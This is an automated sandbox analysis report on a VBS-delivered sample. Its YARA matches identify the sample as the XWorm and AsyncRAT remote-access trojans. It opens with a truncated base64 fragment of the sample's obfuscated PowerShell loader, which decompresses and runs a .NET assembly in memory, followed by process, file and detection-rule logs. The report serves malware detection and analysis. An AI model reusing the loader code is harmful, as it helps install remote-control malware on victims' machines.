JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8B715F	5_2_00007FFD9B8B715F
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8BD096	5_2_00007FFD9B8BD096
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8C40D6	5_2_00007FFD9B8C40D6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B8BDE42	5_2_00007FFD9B8BDE42
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9B976602	5_2_00007FFD9B976602
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_00007FFD9BB805CD	5_2_00007FFD9BB805CD

Source: Xclient.vbs

Initial sample: Strings found which are bigger than 50

Source: unknown

Driver loaded: C:\Windows\System32\cdd.dll

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3663	Jump to behavior

Source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.2.powershell.exe.1d3133b65d0.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 18.2.powershell.exe.1e1aa26a4b0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 23.2.powershell.exe.2cc0714a0b0.4.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ccdde538.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 18.2.powershell.exe.1e1aa26a4b0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.20601de4450.13.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.206008ed970.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ccde7168.12.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 23.2.powershell.exe.2cc07141480.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 18.2.powershell.exe.1e1aa248728.8.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 23.2.powershell.exe.2cc07127e40.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.206008f65a0.7.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.20601dfa830.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 23.2.powershell.exe.2cc0714a0b0.4.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.20601dfa830.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 23.2.powershell.exe.2cc0714a0b0.4.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ce2d5060.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ccde7168.12.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.20601de4450.13.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ce2d5060.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7e4bb0000.16.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ce2eb440.2.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 18.2.powershell.exe.1e1aa261880.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.206008f65a0.7.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 18.2.powershell.exe.1e1aa261880.9.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 18.2.powershell.exe.1e1aa261880.9.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ccdde538.9.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 28.2.powershell.exe.206008ed970.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 18.2.powershell.exe.1e1aa248728.8.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.2.powershell.exe.1d3133ad9a0.3.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7ce2eb440.2.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 11.2.powershell.exe.1d7e4bb0000.16.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 5.2.powershell.exe.1d3133975c0.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 23.2.powershell.exe.2cc07141480.1.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 23.2.powershell.exe.2cc07141480.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 23.2.powershell.exe.2cc07127e40.3.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000012.00000002.2074612069.000001E1AA212000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000001C.00000002.2323673539.00000206008C2000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000001C.00000002.2323673539.0000020601DF8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000001C.00000002.2323673539.0000020601DC4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.2325412269.000001D313377000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.1945403188.000001D7CE2B5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.1945403188.000001D7CE2E9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000005.00000002.2325412269.000001D3133AB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: rat_win_xworm_v3 author = Sekoia.io, description = Finds XWorm (version XClient, v3) samples based on characteristic strings, creation_date = 2023-03-03, classification = TLP:CLEAR, version = 1.0, id = 5fb1cbd3-1e37-43b9-9606-86d896f2150b, hash = de0127ba872c0677c3594c66b2298edea58d097b5fa697302a16b1689147b147
Source: 0000000B.00000002.1969459274.000001D7E4BB0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000012.00000002.2074612069.000001E1AA261000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000017.00000002.2248750195.000002CC070F1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000000B.00000002.1945403188.000001D7CCDB3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 0000001C.00000002.2323673539.0000020601DE4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: 00000017.00000002.2248750195.000002CC07141000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_AsyncRAT author = ditekSHen, description = Detects AsyncRAT
Source: Process Memory Space: powershell.exe PID: 7456, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7900, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 3152, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7312, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 2720, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Helper.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, AlgorithmAES.cs	Cryptographic APIs: 'TransformFinalBlock'
